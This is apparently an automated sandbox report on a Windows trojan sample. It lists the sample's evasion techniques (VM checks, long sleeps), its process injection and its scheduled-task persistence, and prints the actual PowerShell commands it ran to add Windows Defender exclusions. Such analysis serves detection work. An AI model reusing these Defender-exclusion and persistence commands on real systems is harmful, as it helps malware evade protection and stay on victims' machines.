Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 7936, type: MEMORYSTR
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: 9D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: 2570000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: 2420000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: 84C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: 6DD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: 94C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: A4C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: E40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: 2B20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: 1100000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: 2B40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: 2DE0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: 2B40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: 8890000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: 9890000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: 9A80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: AA80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: 2D20000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: 2F90000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Memory allocated: 2D20000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7015 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 392 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7303 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 644 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe TID: 7276 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7612 Thread sleep count: 7015 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7624 Thread sleep count: 392 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7780 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7724 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7776 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7716 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe TID: 8000 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Thread delayed: delay time: 922337203685477
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1768193613.00000000007B8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000008.00000002.2942526766.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllureu
Source: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe, 00000000.00000002.1775633710.0000000007155000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: en_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}I
Source: eFzAvsOm.exe, 0000000D.00000002.2941373442.00000000010F9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eFzAvsOm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eFzAvsOm.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Memory written: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eFzAvsOm.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eFzAvsOm" /XML "C:\Users\user\AppData\Local\Temp\tmp9A0C.tmp" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe "C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eFzAvsOm" /XML "C:\Users\user\AppData\Local\Temp\tmpADE2.tmp"
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Process created: C:\Users\user\AppData\Roaming\eFzAvsOm.exe "C:\Users\user\AppData\Roaming\eFzAvsOm.exe"
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
